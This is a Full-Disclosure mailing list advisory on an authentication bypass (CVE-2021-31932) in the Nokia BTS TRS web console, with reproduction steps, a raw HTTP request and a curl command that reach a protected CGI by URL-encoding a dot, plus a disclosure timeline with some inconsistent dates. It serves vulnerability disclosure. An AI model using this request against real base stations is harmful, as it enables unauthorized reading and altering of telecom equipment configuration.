lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 10 Feb 2022 14:48:53 +0100
From: Cristiano Maruti <>
Subject: [FD] Nokia BTS Authentication Bypass

  title: Nokia Transport Module Authentication Bypass
                case id: CM-2020-02
                product: BTS TRS web console (FTM_W20_FP2_2019.08.16_0010)
     vulnerability type: Authentication Bypass
               severity: Critical
                  found: 2020-09-28
   CVE: CVE-2021-31932
                     by: Cristiano Maruti (@cmaruti)


 The TRS web console allows an authenticated user to remotely manage the BTS
 and its configuration. The analysis discovered an authentication bypass
 vulnerability (CWE-289) in the web management console. A malicious
 unauthenticated user can get access to all the functionalities exposed via
 the web panel circumventing the authentication process. The vulnerability
 lies in the way the web server in use (lighttpd) protects restricted
 resources and how special characters are encoded and pass to the underline
 CGIs. A successful attack can read data from the BTS and read, modify or
 delete BTS configuration.


 The following version of the TRS web console was affected by the
 vulnerability; previous versions may be vulnerable as well:
 - BTS TRS web console (FTM_W20_FP2_2019.08.16_0010)


It is possible to reproduce the vulnerability following these steps:
1. Open a web browser and insert the BTS TRS web console IP
2. Navigate to a protected resource (for example
3. Subsitute the dot character with the corresponding URL encoded value
4. Resulting URL
   give access without prompt for any authentication credential

Below a full transcript of the HTTP request used to get access to a

HTTP Request
GET /protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken HTTP/1.1
Host: <targetip>
User-Agent: curl/7.67.0
Accept: */*

# curl -vk https://<targetip>/protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken&frame=showLogFile

Mitre assigned the following CVE ID to the vulnerability: CVE-2021-31932

2020-10-06: Contacting Nokia PSIRT and shared the details of the
2020-10-07: Nokia PSIRT acknowledge the receipt of the message.
2021-10-12: Vendor engineering team confirmed the vulnerability and working
on patch (estimated time end of 2020).
2021-04-30: Research requested a CVE assignment through MITRE CVE
Assignment Team; allocated CVE-2021-31932
2021-05-01: Researcher notified the assigned CVE number to the Vendor
2022-02-08: Researcher asked for permission to publicly release the report
to the public; Nokia PSIRT acknowledged
2022-02-10: Public release


Cristiano Maruti

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists